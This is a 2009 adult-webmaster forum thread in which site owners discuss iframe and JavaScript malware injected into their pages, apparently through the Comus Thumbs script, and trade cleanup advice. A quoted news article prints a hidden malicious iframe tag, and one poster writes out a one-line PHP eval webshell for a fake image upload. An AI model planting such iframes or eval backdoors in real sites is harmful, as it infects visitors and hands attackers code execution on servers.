Got hacked! Help! - GoFuckYourself.com

HEAT · 09-17-2009, 07:29 AM

Some of my sites that using TGPX, TEVS and Comus thumbs are getting malware injection attack. One of my dedicated servers got hit by malware distributer.
Below code is injected right after the body tag of html, tmpl and some php files.

Quote:

I wonder if any you guys had the same experience and any luck at detecting and removing it permanently? After throwing out my pc, uploading AVG and Spybot, changing all my passwords, dropping FTP in favor of SFTP I'm now taken up the process of manually removing the code above.
But they are constantly adding this JS code even if I removed it...

Since the box is unmanagged, Maybe I will have to reload server OS and restore whole files from backup. but I'm worry about the backup is infected as well..

Beware guys, check your server security, file/dir permission etc. also your PC is not safe as well. Install a good anti-malware and don't save password at your local ftp client.

http://www.webhostingtalk.com/showth...rame+injection

asianseekerz · 09-17-2009, 07:33 AM

change your index page delete the page having that code, then change all your access

notime · 09-17-2009, 07:35 AM

Is it this one?
forums.digitalpoint.com/showthread.php?t=901622

k0nr4d · 09-17-2009, 07:41 AM

This is usually caused by a virus on your computer. Have your host check ftp logs, and i bet you will have a bunch of unknown logins. These viruses append this code to any file named index.php index.html etc.

katharos · 09-17-2009, 07:43 AM

i am amazed how much webhosts have easy to hack ftp logins ...

BestXXXPorn · 09-17-2009, 07:47 AM

If it's not caused by your own computer it may be also be caused from something on your site...

If you have photo uploads... it's possible someone has uploaded a fake image that is actually running code...

You may also have your permissions set wrong on the files on your server allowing someone to exploit your box and add things to the content...

qxm · 09-17-2009, 07:47 AM

Quote:

Originally Posted by HEAT

After throwing out my pc, uploading AVG and Spybot, changing all my passwords, dropping FTP in favor of SFTP I'm now taken up the process of manually removing the code above.

U on a windows server? ..... At any rate.... u shouldn't be using AVG .. that shit is crap (yeah redundant I know), I got infected by 9 types of trojans, malware, fuckware and 666-satanic-ware and viruses while using it and the piece of crap didn't detect any problem at all.... so u better use something with better heuristics ... Avira or Avast

Good luck getting that code outta ur sites 2 ...

directfiesta · 09-17-2009, 09:41 AM

Quote:

Originally Posted by katharos

i am amazed how much webhosts have easy to hack ftp logins ...

maybe you should replace " webhosts " by " webmasters "

Davy · 09-17-2009, 10:27 AM

Do yourself a favor and find the security hole before you fix the site.
You need to find how they got in (assuming they hacked your server).

HomerSimpson · 09-17-2009, 10:39 AM

here's my guide:

step 1: update your adobe reader to latest version (9.xx) or even better remove it and put FoxIt Reader (much smaller and faster).

step 2: update flash player plugins for IE and FF

step 3: download 2-3 anti-spyware softwares and check your computer

step 4: once you are clean login and change all your paswords and fix the sites.

step 5: monitor what's going on...

- - - -

extra steps

* Download and use Total Commander 7.5 that has password encryption option that makes your passwords safe (this I haven't found on any other software and that's the weakest point of most of ftp clients)

* always have anti-virus, firewall and anti-spyware app active (I use Nod32 Smart Security AV+FW + AdAware)

* use only firefox and chrome instead of IE

all mentioned software you may find and download at http://www.filehorse.com

Spudman · 09-17-2009, 10:47 AM

Dude its a comus thumbs issue as far as i'm aware. I'm currently deleting all my comus installs (over 40) and replacing the script with a new one as i have been hit with this hack 3 days ago and still fixing it.
I have used comus for over 5 years and these hacks are all to regular these days, they never update comus and its going to the shit so i would delete it and rebuild site with new script.

my 2cents

katharos · 09-17-2009, 10:54 AM

Quote:

Originally Posted by directfiesta

maybe you should replace " webhosts " by " webmasters "

webmasters also, but i mean there are no limits in bruteforcing ftp, you can have one proxy and bruteforce to the infinity

TGThomas · 09-17-2009, 11:01 AM

Where you using Filezilla to upload? i know a while back their was a problem with that program letting a virus in to change your .php files

split_joel · 09-17-2009, 11:05 AM

Okay a few things here,

what scripts are you running on your server. Are you running joomla? What are the directory permissions of your php files? Hit me up on aim or icq if your host isnt going to fix it for you, as I hate people that hack sites more then anything on the face of the damn planet.

HEAT · 09-17-2009, 11:10 AM

Quote:

Originally Posted by notime

Is it this one?
forums.digitalpoint.com/showthread.php?t=901622

Not sure but looks like it.

HEAT · 09-17-2009, 11:19 AM

When the script is executed(I visited a infected site accidently yesterday. I guess) it loaded malware which disguised as .pdf or .swf file that steals username/password data from PC.
The malware is hosted at another infected site and loaded via iframe then excuted on the browser.
Now the hacker got my site's login and infected my sites too.
I don't know how he connected my box though. I guess he's using remote script that doesn't leave log info.

Even if I remove those malwares in my PC and change ftp password, the hacker can get my new password easily since I had to load my sites to check.
So it is very important that never load the sites during troubleshooting.

This is what I did and seems like the code is gone finally. but still monitering..
1. reboot PC and scan it for spyware.
2. reboot again and change all server passwords.
3. remove the code from all server files(index.html, category.html, index.php, etc..) with serverside text editor.
4. Never load infected webpages on browser during #3.
5. install mod_security and change file permissons.

This thing reminds me of BackOrifice at 98'. It's the most annoying fuckware I had ever. it passed mcafee.
Remember to use a good antivirus on your PC. I had good result with Malwarebytes.org

Thanks for advices.

borked · 09-17-2009, 11:20 AM

and another reason to not use ftp, but sftp....

Quote:

A security researcher has discovered a cluster of infected Linux servers that have been corralled into a special ops botnet of sorts and used to distribute malware to unwitting people browsing the web.

Each of the infected machines examined so far is a dedicated or virtual dedicated server running a legitimate website, Denis Sinegubko, an independent researcher based in Magnitogorsk, Russia, told The Register. But in addition to running an Apache webserver to dish up benign content, they've also been hacked to run a second webserver known as nginx, which serves malware.
...
The infected machines observed by Sinegubko serve legitimate traffic on port 80, the standard TCP port used by websites. Behind the scenes, the rogue server sends malicious traffic over port 8080. The malicious payloads are then delivered with the help of dynamic DNS hosting providers, which offer free domain names that are mapped to the IP address of the zombie webserver.

The links look something like this:

Code:

<i_frame src="http ://a86x . homeunix . org:8080/ts/in.cgi?open2" width=997 height=0 style="visibility: hidden"></iframe>

They are injected into legitimate websites, so that they are surreptitiously served when users browse the infected page.

It's unclear exactly how the servers have become infected. Sinegubko speculates they belong to careless administrators who allowed their root passwords to be sniffed. Indeed, the part of the multi-staged attack that plants malicious iframes into legitimate webpages uses FTP passwords that have been stolen using password sniffers. It's likely the zombie servers were compromised in the same fashion, he explained.

HEAT · 09-17-2009, 11:36 AM

Quote:

Originally Posted by Spudman

Dude its a comus thumbs issue as far as i'm aware. I'm currently deleting all my comus installs (over 40) and replacing the script with a new one as i have been hit with this hack 3 days ago and still fixing it.
I have used comus for over 5 years and these hacks are all to regular these days, they never update comus and its going to the shit so i would delete it and rebuild site with new script.

my 2cents

Yep. looks like Comus is gonna dead soon. lots of security holes and no updates.
also going to drop it asap.

HEAT · 09-17-2009, 11:48 AM

Quote:

Originally Posted by split_joel

Okay a few things here,

what scripts are you running on your server. Are you running joomla? What are the directory permissions of your php files? Hit me up on aim or icq if your host isnt going to fix it for you, as I hate people that hack sites more then anything on the face of the damn planet.

No joomla and running various TGP/tube scripts. Permissions were set to 755 for directories and php files had varous permissions as I followed script manuals.
most are 644, data/tempates dir and files were set to 777.
I changed lots of files to 444 for monitering.
will contact you if I get codes again. Thanks!

Spudstr · 09-17-2009, 11:53 AM

this exploit is going around and it seems to be comus is the problem from watching the audit logs and investigating. Even if a server has comus installed unless setup with 1 domain per login etc due to permissions i.e having 777 on things you should not it will infect a whole mess of files and leave backdoors everywhere.

Klen · 09-17-2009, 12:00 PM

Welcome to the club,my one old unsecured machine is also hacked with completely same crap.I working now on removing it.And yes i do have several comus installations there.But i dont see how can comus bug affect all possible sites,no matter are they based on st,tgpx or something else(and i have all three rotator scripts installed)

smoothballs · 09-17-2009, 12:12 PM

Yep my Comus sites are hacked too for the last couple of days....fucking me off thinking how many will not return cos of warnings thrown up by their anti virus....already had a email from google saying they have tagged my highest traffic site with a "this site could harm your computer" in their search pages...just waiting for more emails from them for my other comus sites!

Klen · 09-17-2009, 12:17 PM

Quote:

Originally Posted by smoothballs

Yep my Comus sites are hacked too for the last couple of days....fucking me off thinking how many will not return cos of warnings thrown up by their anti virus....already had a email from google saying they have tagged my highest traffic site with a "this site could harm your computer" in their search pages...just waiting for more emails from them for my other comus sites!

Ugh and problem is code appear again once it's remove,first i tried chmod 644,then chown to apache,and still it shows again.Well if it comus problem then only solution would be to completly delete all comus installations.

Spudstr · 09-17-2009, 12:17 PM

Quote:

Originally Posted by KlenTelaris

Welcome to the club,my one old unsecured machine is also hacked with completely same crap.I working now on removing it.And yes i do have several comus installations there.But i dont see how can comus bug affect all possible sites,no matter are they based on st,tgpx or something else(and i have all three rotator scripts installed)

Anyfile that is set to 777 or owned by apache/httpd can be edited by the exploit.

Klen · 09-17-2009, 12:22 PM

Quote:

Originally Posted by Spudstr

Anyfile that is set to 777 or owned by apache/httpd can be edited by the exploit.

Well i set index.php to 644 and it's not helping.

smoothballs · 09-17-2009, 12:27 PM

Quote:

Originally Posted by KlenTelaris

Ugh and problem is code appear again once it's remove,first i tried chmod 644,then chown to apache,and still it shows again.Well if it comus problem then only solution would be to completly delete all comus installations.

thing is, I dont see any malicious code in view source...just the anti virus pop up warning...after a refresh dont get any warnings at all...

area51 - BANNED FOR LIFE · 09-17-2009, 12:29 PM

look at all the morons in here

smoothballs · 09-17-2009, 12:31 PM

heres a quote from my hosts when I told them not to bother scanning my sites as it looks like a comus issue...

"Yes, Comus Thumbs has been causing a lot of issues lately

"

Klen · 09-17-2009, 12:32 PM

Ok so we concluded comus is cause of this?So i can start removing it.

smoothballs · 09-17-2009, 12:34 PM

Quote:

Originally Posted by area51

look at all the morons in here

looks like there is only one moron in here who cant contribute anything...was that the most intelligent thing to come out of your mouth since Einstein's dick????

notime · 09-17-2009, 12:34 PM

Quote:

Originally Posted by HEAT

Not sure but looks like it.

I had it on my server so I know.
It happened when I was on the plane to the Montreal show.
That sucked but it was resolved in like 20 mins. after I found it and it was fixed by the programmers and system engineers.

BestXXXPorn · 09-17-2009, 12:41 PM

"But in addition to running an Apache webserver to dish up benign content, they've also been hacked to run a second webserver known as nginx, which serves malware."

Hahhahaha not only does it serve up malware, it serves up malware faster and more efficiently, hhahahah man that really cracks me up in a very geeky way, hahhhaha

notime · 09-17-2009, 12:43 PM

Quote:

Originally Posted by KlenTelaris

Ok so we concluded comus is cause of this?So i can start removing it.

I don't have comus or use it.

The infection did not even take place on any of my office PC's, but in the office a few blocks down the street where the designers and programmers have the office.
One guy there had an infected PC that had FTP access to one of my servers. Not sure if they use comus or not but I don't think so. Infection takes place thru adult infected websites in all popular browsers without anti-virus programs seeing it.

Hidden custom build (FTP) logs show somebody using my FTP user/pass without brute force entering and adding some files and making some changes similar to all infected victims.

BestXXXPorn · 09-17-2009, 12:44 PM

Quote:

Originally Posted by KlenTelaris

Well i set index.php to 644 and it's not helping.

Setting to 644 alone won't help you... What is the owner and group of the file? If it's set to the same as the webserver runs as then any exploit which is passing through your webserver will have full access to the file...

If someone has already hacked your box you have way more issues to worry about... First things first:

http://www.rootkit.nl/projects/rootkit_hunter.html

Download it, install it, run it, then you can rule out most root kits and learn if your box has been compromised or not...

If it has, you know the problem... if it hasn't then you can move onto the next step.

GL!

V_RocKs · 09-17-2009, 12:46 PM

Actually, old Comus is hackable... These are usually NOT FTP access problems and are problems with PHP scripts being hackable.

Klen · 09-17-2009, 12:48 PM

Quote:

Originally Posted by BestXXXPorn

Setting to 644 alone won't help you... What is the owner and group of the file? If it's set to the same as the webserver runs as then any exploit which is passing through your webserver will have full access to the file...

If someone has already hacked your box you have way more issues to worry about... First things first:

http://www.rootkit.nl/projects/rootkit_hunter.html

Download it, install it, run it, then you can rule out most root kits and learn if your box has been compromised or not...

If it has, you know the problem... if it hasn't then you can move onto the next step.

GL!

That was first thing which i did,but it didn't find any rootkit installed.Also i just noticed javascript on comus sites and on other it's not same.

Klen · 09-17-2009, 12:49 PM

Here are copy pastes of java script codes:
http://pastebin.com/m53fc9126
http://pastebin.com/m1b861dd8

Spudman · 09-17-2009, 12:50 PM

All My sites were hacked through comus, If you use comus, I advise deleting it and using another script, this appears to be only fix for me :2cents

HEAT · 09-17-2009, 12:56 PM

Found this from Webhostingtalk.com

Quote:

It is a series of viruses implanted on various PCs (and some Macs we've seen) that does little more than steal FTP credentials.

It works in a variety of ways.

First, it knows the files and their default locations of various FTP software, FileZilla, WS_FTP and many, many others. When users tell their software to save their logon credentials, it saves this information in a file on the computer. Then when you want to send an update to your website, the login information is already there.

The virus looks for these files, opens them, reads the information and then sends it to a server where it's used to login to the website with valid credentials. There's no need to "crack" the password. Which is why strong passwords aren't a defense in this case.

Second, the virus installs a keyboard logger. This variant is relatively new because earlier this year the hackers saw that everyone was telling people not to save their FTP username and passwords, so the hackers started installing keyboard loggers for those who type their passwords in each time. Same follow-through, the stolen information is sent to a server that infects the web site.

Third, the virus "sniffs" the FTP traffic leaving the PC. Since FTP transmits all data, including username and password, in plain text, it's easy for the virus to see the username and password, capture it, send it to a server and ... (you get the idea).

Fourth, and is the most recent, the virus will inject the malscript (the infectious iframe) into the FTP data stream as it leaves the user's PC. This latest variant is sneaky in that the website logs will show that FTP traffic originated from a valid source, with valid FTP credentials.

The best way I've found to combat this is by following these steps:

Step 1: Install a new anti-virus program. Obviously this virus knows how to evade detection of the current anti-virus. It doesn't matter what's being used currently, you have to install something different.

Step 2: Login to your control panel at your web hosting provider's site and change your FTP password. Write it down at this point DO NOT ACCESS YOUR SITE with FTP until you finish all of these steps.

Step 3: Scan and clean every PC that has FTP access to your site. This is also a must. Otherwise you have no idea who's PC it is. Do not give the new FTP passwords to anyone until after you have finished all of these steps.

Step 4: Remove the malicious code from your webpages. If you have a known good back-up, use that. If not, download your site (yes you'll have to type in the new password, but hopefully you're already scanned and cleaned your PC). Then open each file in your HTML editor and find the infectious code. This particular malscript usually hides immediately after the opening body tag, but we've also seen it at the end of files. You'll have to check every file on your website not just index files or just html files. Check every file on your website even .js and .css files.

Step 5: Change your FTP passwords again.

Step 6: If you've been blacklisted by Google, login to your Google Webmaster Tools and verify your site if you haven't already, then request a review. You'll have to click on your site, then across the top you'll see in your dashboard a label in dark background that says, "This site may be distributing malware. More Details (which is a link). Click on that and request a review. If your site is clean, Google should bless you with removing that warning from SERPs.

Then you should have that issue again.

This is not the result of a faulty script or weak FTP passwords. It's the result of a virus on PC with FTP access to the infected website.

It a solution for malware injection attack.
Then again, It' not recommended to install unreliable php scripts anyway..

Klen · 09-17-2009, 01:01 PM

Well first thing which i did is to disable completely ftp but that didnt helped anything.Anyway my computer was not compromised since i am not using ftp at all,only sftp.

BestXXXPorn · 09-17-2009, 01:09 PM

My favorite exploit is the fake image upload that has a correct image header...

If the image gets stored "as is" the first line of it is <?eval($_REQUEST['someVar']?>

If the host is configured to parse image files (tracking, dynamic images, etc...) anything they pass in to the request gets evaled... so elegant, so simple, so devastating...

escorpio · 09-17-2009, 03:15 PM

Anyone heard from Comus regarding this problem? Is a fix being worked on or should I change scripts?

sandman! · 09-17-2009, 03:16 PM

i think you might need a managed host.

boneless · 09-17-2009, 04:15 PM

Quote:

Originally Posted by escorpio

Anyone heard from Comus regarding this problem? Is a fix being worked on or should I change scripts?

i consider myself at this point the ex tech support of comus. i worked for five years and the last year and the first year i had to cover for tony a lot.

ATM this is where we stand, im not saying comus is the prob but it is most likely the cause of all probs.

Comus license key admin login page file is broken atm, one of the things that happened to my girlfriend wordpress site during the hacks.

tbh with you guys, i myself am ditching comus as my script and am going for an alternative. For now its smart thumbs, and as i got over 100 comus sites i got a long and hard task ahead to switch em all over.

Im really hoping that all is well with tony but since i havent heard or seen him online in the past three weeks makes me wonder what the fuck is going on.

I hope im not getting loaded with 1000s of messages on my icq...

thnx yall,

Ed

Major (Tom) · 09-17-2009, 04:18 PM

Quote:

Originally Posted by asianseekerz

change your index page delete the page having that code, then change all your access

Just a conjecture here, but that wont work. I've seen enough stuff attempted on my boxes and its always a hole in the script. remove the scripts and your ok. It's not really an access thing. Changing the locks on your front door is pointless if you leave the windows open.
Duke

beta-tester · 09-19-2009, 02:04 AM

I am not sure how can you be so sure that actually comus is the root of your problems? I am using comus too, but with tightened security on the server itself and with my OS security I never get hacked, neither get into troubles with any of my sites.

This time I haven't been affected by this comus hack (which I think is not comus hack, just a malware insertion) and my sites are running smoothly.
The only thing I don't like about comus is that its admin interface loads iframe from their website, so if their website has the malware, then technically every site that runs comus has it too.

To get rid of malwares and to actually avoid getting them, just install normal os, like Linux, or buy Mac.

Oh, and just one remark: before doing anything on your own, have host run clamAV on your box/v. acc. and scan for potential infected files, as well as run the rootkit detection tools. Then it's your turn to make your own box clean and more secure.

Good luck!

Naughty-Pages · 10-02-2009, 06:04 AM

Quote:

Originally Posted by Spudman

Dude its a comus thumbs issue as far as i'm aware.

Agreed.... it's comus, but even after you kill Comus, you've got to check every site on the server comus was on even if the site is not using Comus... (I've got 14 sites so far that were affected )

tranza · 10-02-2009, 06:37 AM

Look at your .htaccess and check if it's everything working nicely.

10-02-2009, 06:46 AM

ive had this before!!
Webair reverted my sites abck before the infection and changed all ftp info

HEAT · 10-02-2009, 07:57 AM

Old thread. Yes I was wrong. it's a Comus thumbs hack. No ftp password issue.
I misunderstood it was another iframe injection attack that caused from viruses on local machine. I installed mod_security then it stopped code injection but I thought it fixed by removing viruses on my PC.

Anyway it's completely fixed by removing all backdoor scripts and infected files.
If anyone still faces this froblem, refer this thread.
http://www.gfy.com/fucking-around-and-business-discussion/928915-secure-delete-comus-installation-html-php-files-server-infected.html

09-17-2009, 07:33 AM	#2
asianseekerz Confirmed User Join Date: Aug 2008 Posts: 1,609	change your index page delete the page having that code, then change all your access __________________ LUSTY LIFES : Dad & Daughter Wild Adventures : Naughty Wild Sister Contact : ICQ : 372109 Email add: [email protected]

09-17-2009, 07:41 AM	#4
k0nr4d Confirmed User Industry Role: Join Date: Aug 2006 Location: Poland Posts: 9,228	This is usually caused by a virus on your computer. Have your host check ftp logs, and i bet you will have a bunch of unknown logins. These viruses append this code to any file named index.php index.html etc. __________________ Mechanical Bunny Media Mechbunny Tube Script \| Mechbunny Webcam Aggregator Script \| Custom Web Development

09-17-2009, 07:47 AM	#6
BestXXXPorn Confirmed User Join Date: Jun 2009 Location: Asheville, NC Posts: 2,277	If it's not caused by your own computer it may be also be caused from something on your site... If you have photo uploads... it's possible someone has uploaded a fake image that is actually running code... You may also have your permissions set wrong on the files on your server allowing someone to exploit your box and add things to the content... __________________ ICQ: 258-202-811 \| Email: eric{at}bestxxxporn.com

09-17-2009, 10:39 AM	#10
HomerSimpson Too lazy to set a custom title Industry Role: Join Date: Sep 2005 Location: Springfield Posts: 13,826	here's my guide: step 1: update your adobe reader to latest version (9.xx) or even better remove it and put FoxIt Reader (much smaller and faster). step 2: update flash player plugins for IE and FF step 3: download 2-3 anti-spyware softwares and check your computer step 4: once you are clean login and change all your paswords and fix the sites. step 5: monitor what's going on... - - - - extra steps * Download and use Total Commander 7.5 that has password encryption option that makes your passwords safe (this I haven't found on any other software and that's the weakest point of most of ftp clients) * always have anti-virus, firewall and anti-spyware app active (I use Nod32 Smart Security AV+FW + AdAware) * use only firefox and chrome instead of IE all mentioned software you may find and download at http://www.filehorse.com __________________ Make a bank with Chaturbate - the best selling webcam program Ads that can't be block with AdBlockers !!! /// Best paying popup program (Bitcoin payouts) !!! PHP, MySql, Smarty, CodeIgniter, Laravel, WordPress, NATS... fixing stuff, server migrations & optimizations... My ICQ: 27429884 \| Email:

09-17-2009, 10:47 AM	#11
Spudman Confirmed User Join Date: Aug 2002 Location: UK Posts: 3,198	Dude its a comus thumbs issue as far as i'm aware. I'm currently deleting all my comus installs (over 40) and replacing the script with a new one as i have been hit with this hack 3 days ago and still fixing it. I have used comus for over 5 years and these hacks are all to regular these days, they never update comus and its going to the shit so i would delete it and rebuild site with new script. my 2cents __________________ Take it Easy !!!

09-17-2009, 07:35 AM	#3
notime Confirmed User Industry Role: Join Date: Jun 2003 Location: cyberspace Posts: 8,019	Is it this one? forums.digitalpoint.com/showthread.php?t=901622

09-17-2009, 07:43 AM	#5
katharos So Fucking Banned Join Date: Nov 2005 Posts: 1,515	i am amazed how much webhosts have easy to hack ftp logins ...

09-17-2009, 10:27 AM	#9
Davy Confirmed User Industry Role: Join Date: Apr 2006 Location: Germany Posts: 4,323	Do yourself a favor and find the security hole before you fix the site. You need to find how they got in (assuming they hacked your server). __________________ --- ICQ 14-76-98 <-- I don't use this at all

09-17-2009, 11:01 AM	#13
TGThomas Registered User Join Date: Jan 2008 Location: wenatchee WA Posts: 75	Where you using Filezilla to upload? i know a while back their was a problem with that program letting a virus in to change your .php files __________________ You can contact me via the following: AIM - playazdb0y ICQ - 459454282 Email - [email protected]

09-17-2009, 11:05 AM	#14
split_joel Confirmed User Join Date: Jan 2005 Posts: 2,270	Okay a few things here, what scripts are you running on your server. Are you running joomla? What are the directory permissions of your php files? Hit me up on aim or icq if your host isnt going to fix it for you, as I hate people that hack sites more then anything on the face of the damn planet. __________________ E-mail marketing - Automation Scripting - IP Space AIM: splitjoelp ICQ: 254759453 skype - splitjoelp 702-941-6465

09-17-2009, 11:19 AM	#16
HEAT Confirmed User Join Date: Sep 2003 Posts: 2,255	Problem solved. When the script is executed(I visited a infected site accidently yesterday. I guess) it loaded malware which disguised as .pdf or .swf file that steals username/password data from PC. The malware is hosted at another infected site and loaded via iframe then excuted on the browser. Now the hacker got my site's login and infected my sites too. I don't know how he connected my box though. I guess he's using remote script that doesn't leave log info. Even if I remove those malwares in my PC and change ftp password, the hacker can get my new password easily since I had to load my sites to check. So it is very important that never load the sites during troubleshooting. This is what I did and seems like the code is gone finally. but still monitering.. 1. reboot PC and scan it for spyware. 2. reboot again and change all server passwords. 3. remove the code from all server files(index.html, category.html, index.php, etc..) with serverside text editor. 4. Never load infected webpages on browser during #3. 5. install mod_security and change file permissons. This thing reminds me of BackOrifice at 98'. It's the most annoying fuckware I had ever. it passed mcafee. Remember to use a good antivirus on your PC. I had good result with Malwarebytes.org Thanks for advices. __________________ 254-282-542 Last edited by HEAT; 09-17-2009 at 11:21 AM..

09-17-2009, 11:53 AM	#20
Spudstr Confirmed User Industry Role: Join Date: Jan 2003 Location: In a Tater Patch Posts: 2,321	this exploit is going around and it seems to be comus is the problem from watching the audit logs and investigating. Even if a server has comus installed unless setup with 1 domain per login etc due to permissions i.e having 777 on things you should not it will infect a whole mess of files and leave backdoors everywhere. __________________ Managed Hosting - Colocation - Network Services Yellow Fiber Networks icq: 19876563

09-17-2009, 12:00 PM	#21
Klen Industry Role: Join Date: Aug 2006 Location: Little Vienna Posts: 32,235	Welcome to the club,my one old unsecured machine is also hacked with completely same crap.I working now on removing it.And yes i do have several comus installations there.But i dont see how can comus bug affect all possible sites,no matter are they based on st,tgpx or something else(and i have all three rotator scripts installed)

09-17-2009, 12:12 PM	#22
smoothballs Confirmed User Join Date: Aug 2004 Posts: 151	Yep my Comus sites are hacked too for the last couple of days....fucking me off thinking how many will not return cos of warnings thrown up by their anti virus....already had a email from google saying they have tagged my highest traffic site with a "this site could harm your computer" in their search pages...just waiting for more emails from them for my other comus sites!

09-17-2009, 12:29 PM	#27
area51 - BANNED FOR LIFE So Fucking Banned Join Date: Aug 2009 Posts: 3,164	look at all the morons in here

09-17-2009, 12:31 PM	#28
smoothballs Confirmed User Join Date: Aug 2004 Posts: 151	heres a quote from my hosts when I told them not to bother scanning my sites as it looks like a comus issue... "Yes, Comus Thumbs has been causing a lot of issues lately "

09-17-2009, 12:32 PM	#29
Klen Industry Role: Join Date: Aug 2006 Location: Little Vienna Posts: 32,235	Ok so we concluded comus is cause of this?So i can start removing it.

09-17-2009, 12:41 PM	#32
BestXXXPorn Confirmed User Join Date: Jun 2009 Location: Asheville, NC Posts: 2,277	"But in addition to running an Apache webserver to dish up benign content, they've also been hacked to run a second webserver known as nginx, which serves malware." Hahhahaha not only does it serve up malware, it serves up malware faster and more efficiently, hhahahah man that really cracks me up in a very geeky way, hahhhaha __________________ ICQ: 258-202-811 \| Email: eric{at}bestxxxporn.com

09-17-2009, 12:46 PM	#35
V_RocKs Damn Right I Kiss Ass! Industry Role: Join Date: Dec 2003 Location: Cowtown, USA Posts: 32,391	Actually, old Comus is hackable... These are usually NOT FTP access problems and are problems with PHP scripts being hackable.

09-17-2009, 12:49 PM	#37
Klen Industry Role: Join Date: Aug 2006 Location: Little Vienna Posts: 32,235	Here are copy pastes of java script codes: http://pastebin.com/m53fc9126 http://pastebin.com/m1b861dd8

09-17-2009, 12:50 PM	#38
Spudman Confirmed User Join Date: Aug 2002 Location: UK Posts: 3,198	All My sites were hacked through comus, If you use comus, I advise deleting it and using another script, this appears to be only fix for me :2cents __________________ Take it Easy !!!

09-17-2009, 01:01 PM	#40
Klen Industry Role: Join Date: Aug 2006 Location: Little Vienna Posts: 32,235	Well first thing which i did is to disable completely ftp but that didnt helped anything.Anyway my computer was not compromised since i am not using ftp at all,only sftp.

09-17-2009, 01:09 PM	#41
BestXXXPorn Confirmed User Join Date: Jun 2009 Location: Asheville, NC Posts: 2,277	My favorite exploit is the fake image upload that has a correct image header... If the image gets stored "as is" the first line of it is <?eval($_REQUEST['someVar']?> If the host is configured to parse image files (tracking, dynamic images, etc...) anything they pass in to the request gets evaled... so elegant, so simple, so devastating... __________________ ICQ: 258-202-811 \| Email: eric{at}bestxxxporn.com

09-17-2009, 03:15 PM	#42
escorpio I love to racism, bro! Industry Role: Join Date: Oct 2002 Location: USA! USA! USA! Posts: 22,819	Anyone heard from Comus regarding this problem? Is a fix being worked on or should I change scripts? __________________ Unvaxxed, still alive.

09-17-2009, 03:16 PM	#43
sandman! Icq: 14420613 Industry Role: Join Date: Mar 2001 Location: chicago Posts: 15,432	i think you might need a managed host. __________________ Need WebHosting ? Email me for some great deals [email protected]

09-19-2009, 02:04 AM	#46
beta-tester Rock 'n Roll Baby! Join Date: Sep 2004 Location: USA, temporarly Posts: 22,562	I am not sure how can you be so sure that actually comus is the root of your problems? I am using comus too, but with tightened security on the server itself and with my OS security I never get hacked, neither get into troubles with any of my sites. This time I haven't been affected by this comus hack (which I think is not comus hack, just a malware insertion) and my sites are running smoothly. The only thing I don't like about comus is that its admin interface loads iframe from their website, so if their website has the malware, then technically every site that runs comus has it too. To get rid of malwares and to actually avoid getting them, just install normal os, like Linux, or buy Mac. Oh, and just one remark: before doing anything on your own, have host run clamAV on your box/v. acc. and scan for potential infected files, as well as run the rootkit detection tools. Then it's your turn to make your own box clean and more secure. Good luck! __________________ Sig for sale. Affordable prices. Contact me and get a great deal ;) My contact: ICQ: 944-320-46 e-mail: manca {AT} HotFreeSex4All.com

10-02-2009, 06:37 AM	#48
tranza ICQ: 197-556-237 Join Date: Jun 2003 Location: BRASIL !!! Posts: 57,559	Look at your .htaccess and check if it's everything working nicely. __________________ I'm just a newbie.

10-02-2009, 06:46 AM	#49
Altwebdesign Guest Posts: n/a	ive had this before!! Webair reverted my sites abck before the infection and changed all ftp info

10-02-2009, 07:57 AM	#50
HEAT Confirmed User Join Date: Sep 2003 Posts: 2,255	Old thread. Yes I was wrong. it's a Comus thumbs hack. No ftp password issue. I misunderstood it was another iframe injection attack that caused from viruses on local machine. I installed mod_security then it stopped code injection but I thought it fixed by removing viruses on my PC. Anyway it's completely fixed by removing all backdoor scripts and infected files. If anyone still faces this froblem, refer this thread. http://www.gfy.com/fucking-around-and-business-discussion/928915-secure-delete-comus-installation-html-php-files-server-infected.html __________________ 254-282-542